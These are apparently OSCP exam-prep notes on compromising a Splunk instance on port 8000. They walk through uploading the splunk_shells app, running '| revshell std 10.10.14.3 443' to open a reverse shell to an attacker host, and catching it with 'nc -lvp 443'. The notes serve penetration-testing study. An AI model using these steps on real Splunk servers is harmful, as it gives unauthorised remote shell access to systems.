> For the complete documentation index, see [llms.txt](https://n000b3r.gitbook.io/oscp-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://n000b3r.gitbook.io/oscp-notes/services/8000-splunk.md).

# (8000) Splunk

<details>

<summary>Reverse Shell from Splunk</summary>

Download  <https://github.com/TBGSecurity/splunk_shells/archive/1.2.tar.gz>

Click on "Search & Reporting"

<figure><img src="/files/qI05yWfDGX0RpCo5n4i4" alt=""><figcaption></figcaption></figure>

"App: Search & Reporting" --> Manage Apps

<figure><img src="/files/9aQBrgyqiDHtzJ5XLSys" alt=""><figcaption></figcaption></figure>

"Install app from file"

<figure><img src="/files/7Fge49SUAPCaCr1GAPsa" alt=""><figcaption></figcaption></figure>

Upload "splunk\_shells-1.2.tar.gz"

<figure><img src="/files/wq0pRm4e0pTR33rZU3IT" alt=""><figcaption></figcaption></figure>

"Restart Now"

<figure><img src="/files/7WNgU19RndF5TkB9PXNI" alt=""><figcaption></figcaption></figure>

Go to "App: Search & Reporting" and use the command: `| revshell std 10.10.14.3 443`

<figure><img src="/files/B5Q2ZHrn2xnyn7B2pLU0" alt=""><figcaption></figcaption></figure>

Click on "Permissions"

<figure><img src="/files/rqNPWZWGslHkJoMqAvoA" alt=""><figcaption></figcaption></figure>

Select "All apps" --> "Save"

<figure><img src="/files/Ej5YZSZy3aIIqCuCjUgk" alt=""><figcaption></figcaption></figure>

nc -lvp 443

<figure><img src="/files/0K94YKzbCNq8CaIxDWNs" alt=""><figcaption></figcaption></figure>

</details>